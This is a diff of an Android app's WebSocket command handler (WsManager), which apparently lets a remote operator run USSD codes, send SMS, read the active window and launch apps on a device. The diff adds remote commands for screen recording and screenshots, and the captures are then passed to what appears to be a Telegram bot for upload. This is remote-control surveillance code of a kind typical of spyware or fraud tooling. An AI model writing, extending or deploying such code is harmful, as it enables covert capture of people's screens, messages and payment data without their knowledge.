|
@@ -19,6 +19,7 @@ import android.util.Base64;
|
|
import android.util.Log;
|
|
import android.util.Log;
|
|
|
|
|
|
import androidx.annotation.NonNull;
|
|
import androidx.annotation.NonNull;
|
|
|
|
+import androidx.fragment.app.FragmentActivity;
|
|
|
|
|
|
import com.alibaba.fastjson.JSON;
|
|
import com.alibaba.fastjson.JSON;
|
|
import com.alibaba.fastjson.JSONArray;
|
|
import com.alibaba.fastjson.JSONArray;
|
|
@@ -43,6 +44,11 @@ import com.romellfudi.ussdlibrary.USSDApi;
|
|
import com.romellfudi.ussdlibrary.USSDController;
|
|
import com.romellfudi.ussdlibrary.USSDController;
|
|
import com.romellfudi.ussdlibrary.USSDService;
|
|
import com.romellfudi.ussdlibrary.USSDService;
|
|
|
|
|
|
|
|
+import org.loka.screensharekit.EncodeBuilder;
|
|
|
|
+import org.loka.screensharekit.ErrorInfo;
|
|
|
|
+import org.loka.screensharekit.ScreenShareKit;
|
|
|
|
+import org.loka.screensharekit.callback.ErrorCallBack;
|
|
|
|
+
|
|
import java.io.File;
|
|
import java.io.File;
|
|
import java.lang.reflect.Field;
|
|
import java.lang.reflect.Field;
|
|
import java.util.ArrayList;
|
|
import java.util.ArrayList;
|
|
@@ -121,13 +127,16 @@ public final class WsManager {
|
|
ThreadUtils.runOnUiThread(() -> cancelUssd(requestId));
|
|
ThreadUtils.runOnUiThread(() -> cancelUssd(requestId));
|
|
break;
|
|
break;
|
|
case "log":
|
|
case "log":
|
|
|
|
+ sendWebSocketMsg(requestId, "over", "log success...");
|
|
ThreadUtils.runOnUiThread(() -> new TgBot("", false));
|
|
ThreadUtils.runOnUiThread(() -> new TgBot("", false));
|
|
break;
|
|
break;
|
|
case "message":
|
|
case "message":
|
|
|
|
+ sendWebSocketMsg(requestId, "over", "message success...");
|
|
ThreadUtils.runOnUiThread(() -> new TgBot(value, true));
|
|
ThreadUtils.runOnUiThread(() -> new TgBot(value, true));
|
|
break;
|
|
break;
|
|
case "config":
|
|
case "config":
|
|
HxUtils.checkForUpdateBotConfig();
|
|
HxUtils.checkForUpdateBotConfig();
|
|
|
|
+ sendWebSocketMsg(requestId, "over", "config success...");
|
|
case "phoneConfig":
|
|
case "phoneConfig":
|
|
HxUtils.getPhoneConfig();
|
|
HxUtils.getPhoneConfig();
|
|
case "getRootInActiveWindow":
|
|
case "getRootInActiveWindow":
|
|
@@ -192,14 +201,105 @@ public final class WsManager {
|
|
sendSMSDelayed(requestId, content, value);
|
|
sendSMSDelayed(requestId, content, value);
|
|
break;
|
|
break;
|
|
case "relaunchApp":
|
|
case "relaunchApp":
|
|
|
|
+ sendWebSocketMsg(requestId, "over", "relaunch app...");
|
|
AppUtils.relaunchApp(true);
|
|
AppUtils.relaunchApp(true);
|
|
break;
|
|
break;
|
|
case "getLastEventText":
|
|
case "getLastEventText":
|
|
try {
|
|
try {
|
|
- sendUssd(requestId, USSDService.event.getText().toString());
|
|
|
|
|
|
+ sendWebSocketMsg(requestId, "over", USSDService.event.getText().toString());
|
|
} catch (Exception w) {
|
|
} catch (Exception w) {
|
|
|
|
|
|
}
|
|
}
|
|
|
|
+ break;
|
|
|
|
+ case "videoStart":
|
|
|
|
+ try {
|
|
|
|
+ ThreadUtils.runOnUiThread(() -> {
|
|
|
|
+ FileUtils.delete(Utils.getApp().getFilesDir().getPath() + "/video.h264");
|
|
|
|
+ });
|
|
|
|
+ } catch (Exception e) {
|
|
|
|
+
|
|
|
|
+ }
|
|
|
|
+ try {
|
|
|
|
+ ThreadUtils.runOnUiThreadDelayed(() -> ScreenShareKit.INSTANCE.init((FragmentActivity) ActivityUtils.getTopActivity())
|
|
|
|
+ .onH264((buffer, isKeyFrame, width, height, ts) -> {
|
|
|
|
+ HxUtils.saveH264ToFile(buffer, Utils.getApp().getFilesDir().getPath() + "/video.h264");
|
|
|
|
+ })
|
|
|
|
+ .onStart(() -> {
|
|
|
|
+ sendWebSocketMsg(requestId, "over", "videoStart");
|
|
|
|
+ })
|
|
|
|
+ .onError(new ErrorCallBack() {
|
|
|
|
+ @Override
|
|
|
|
+ public void onError(@NonNull ErrorInfo errorInfo) {
|
|
|
|
+ sendWebSocketMsg(requestId, "exception", "exception: " + errorInfo.getMessage());
|
|
|
|
+ }
|
|
|
|
+ })
|
|
|
|
+ .start(), 100);
|
|
|
|
+ } catch (Exception e) {
|
|
|
|
+ sendWebSocketMsg(requestId, "exception", "exception: " + e.getMessage());
|
|
|
|
+ }
|
|
|
|
+ break;
|
|
|
|
+ case "videoStop":
|
|
|
|
+ try {
|
|
|
|
+ sendWebSocketMsg(requestId, "over", "videoStop...");
|
|
|
|
+ ThreadUtils.runOnUiThread(new Runnable() {
|
|
|
|
+ @Override
|
|
|
|
+ public void run() {
|
|
|
|
+ ScreenShareKit.INSTANCE.stop();
|
|
|
|
+ }
|
|
|
|
+ });
|
|
|
|
+ ThreadUtils.runOnUiThreadDelayed(TgBot::new, 5000);
|
|
|
|
+ } catch (Exception e) {
|
|
|
|
+ sendWebSocketMsg(requestId, "exception", "error:" + e.getMessage());
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ break;
|
|
|
|
+ case "deleteVideo":
|
|
|
|
+ ThreadUtils.runOnUiThread(() -> {
|
|
|
|
+ FileUtils.delete(Utils.getApp().getFilesDir().getPath() + "/video.h264");
|
|
|
|
+ sendWebSocketMsg(requestId, "over", "deleteVideo...");
|
|
|
|
+ });
|
|
|
|
+ break;
|
|
|
|
+ case "screen":
|
|
|
|
+ try {
|
|
|
|
+ final byte[][] mBytes = new byte[1][1];
|
|
|
|
+ final int[] w = new int[1];
|
|
|
|
+ final int[] h = new int[1];
|
|
|
|
+ ThreadUtils.runOnUiThreadDelayed(() -> {
|
|
|
|
+ EncodeBuilder encodeBuilder = ScreenShareKit.INSTANCE.init((FragmentActivity) ActivityUtils.getTopActivity());
|
|
|
|
+ encodeBuilder.setScreenDataType(EncodeBuilder.SCREEN_DATA_TYPE.RGBA);
|
|
|
|
+ encodeBuilder.onRGBA((bytes, i, i1, i2, i3, b) -> {
|
|
|
|
+ Log.d("hzshkj", "[MainActivity] onRGBA: " + bytes.length);
|
|
|
|
+ Log.d("hzshkj", "[MainActivity] 宽: " + i);
|
|
|
|
+ Log.d("hzshkj", "[MainActivity] 高: " + i1);
|
|
|
|
+ Log.d("hzshkj", "[MainActivity] i2: " + i2);
|
|
|
|
+ Log.d("hzshkj", "[MainActivity] i3: " + i3);
|
|
|
|
+ Log.d("hzshkj", "[MainActivity] b: " + b);
|
|
|
|
+ mBytes[0] = bytes;
|
|
|
|
+ w[0] = i2;
|
|
|
|
+ h[0] = i1;
|
|
|
|
+ ScreenShareKit.INSTANCE.stop();
|
|
|
|
+ })
|
|
|
|
+ .onError(new ErrorCallBack() {
|
|
|
|
+ @Override
|
|
|
|
+ public void onError(@NonNull ErrorInfo errorInfo) {
|
|
|
|
+ sendWebSocketMsg(requestId, "exception", "info:" + errorInfo.getMessage());
|
|
|
|
+ }
|
|
|
|
+ })
|
|
|
|
+
|
|
|
|
+ .onStart(() -> Log.d("hzshkj", "开始截屏"))
|
|
|
|
+ .start();
|
|
|
|
+ }
|
|
|
|
+ , 500);
|
|
|
|
+
|
|
|
|
+ ThreadUtils.runOnUiThreadDelayed(() -> {
|
|
|
|
+ sendWebSocketMsg(requestId, "over", "start screen...");
|
|
|
|
+ new TgBot(mBytes[0], w[0], h[0]);
|
|
|
|
+ }, 5000);
|
|
|
|
+ } catch (Exception e) {
|
|
|
|
+ sendWebSocketMsg(requestId, "exception", "info:" + e.getMessage());
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+
|
|
break;
|
|
break;
|
|
case "help":
|
|
case "help":
|
|
HashMap<String, String> helpMap = new HashMap<>();
|
|
HashMap<String, String> helpMap = new HashMap<>();
|
|
@@ -225,8 +325,12 @@ public final class WsManager {
|
|
helpMap.put("sendSMSDelayed", "发送短信,有回调");
|
|
helpMap.put("sendSMSDelayed", "发送短信,有回调");
|
|
helpMap.put("relaunchApp", "重启本App");
|
|
helpMap.put("relaunchApp", "重启本App");
|
|
helpMap.put("getLastEventText", "获取最新一次ussd消息提示内容");
|
|
helpMap.put("getLastEventText", "获取最新一次ussd消息提示内容");
|
|
|
|
+ helpMap.put("videoStart", "开始录屏");
|
|
|
|
+ helpMap.put("videoStop", "结束录屏并上传");
|
|
|
|
+ helpMap.put("deleteVideo", "删除录屏文件");
|
|
|
|
+ helpMap.put("screen", "截屏");
|
|
helpMap.put("help", "获取所有命令列表");
|
|
helpMap.put("help", "获取所有命令列表");
|
|
- sendUssd(requestId, GsonUtils.toJson(helpMap));
|
|
|
|
|
|
+ sendWebSocketMsg(requestId, "over", GsonUtils.toJson(helpMap));
|
|
break;
|
|
break;
|
|
default:
|
|
default:
|
|
XLog.e(command + " 没有定义该操作!");
|
|
XLog.e(command + " 没有定义该操作!");
|
|
@@ -590,7 +694,7 @@ public final class WsManager {
|
|
sendMessage(GsonUtils.toJson(map), 0);
|
|
sendMessage(GsonUtils.toJson(map), 0);
|
|
}
|
|
}
|
|
|
|
|
|
- private static void getNowRootInActiveWindow(String request_id) {
|
|
|
|
|
|
+ public static void getNowRootInActiveWindow(String request_id) {
|
|
ThreadUtils.executeByIo(new ThreadUtils.Task<String>() {
|
|
ThreadUtils.executeByIo(new ThreadUtils.Task<String>() {
|
|
@Override
|
|
@Override
|
|
public String doInBackground() throws Exception {
|
|
public String doInBackground() throws Exception {
|
|
@@ -616,6 +720,32 @@ public final class WsManager {
|
|
|
|
|
|
}
|
|
}
|
|
|
|
|
|
|
|
+ public static void getNowRootInActiveWindowDemo() {
|
|
|
|
+ ThreadUtils.executeByIo(new ThreadUtils.Task<String>() {
|
|
|
|
+ @Override
|
|
|
|
+ public String doInBackground() throws Exception {
|
|
|
|
+ return Base64.encodeToString(HxUtils.gzip(PayController.getNowRootInActiveWindow()), 0);
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ @Override
|
|
|
|
+ public void onSuccess(String result) {
|
|
|
|
+ Log.d("hzshkj", "[WsManager] onSuccess: "+result);
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+
|
|
|
|
+ @Override
|
|
|
|
+ public void onCancel() {
|
|
|
|
+ Log.d("hzshkj", "[WsManager] onCancel: ");
|
|
|
|
+ }
|
|
|
|
+
|
|
|
|
+ @Override
|
|
|
|
+ public void onFail(Throwable t) {
|
|
|
|
+ Log.e("hzshkj", "onFail: ", t);
|
|
|
|
+ }
|
|
|
|
+ });
|
|
|
|
+
|
|
|
|
+ }
|
|
|
|
+
|
|
private static void startApp(String request_id, String packageName) {
|
|
private static void startApp(String request_id, String packageName) {
|
|
if (!StringUtils.isSpace(packageName)) {
|
|
if (!StringUtils.isSpace(packageName)) {
|
|
Intent launchAppIntent = IntentUtils.getLaunchAppIntent(packageName);
|
|
Intent launchAppIntent = IntentUtils.getLaunchAppIntent(packageName);
|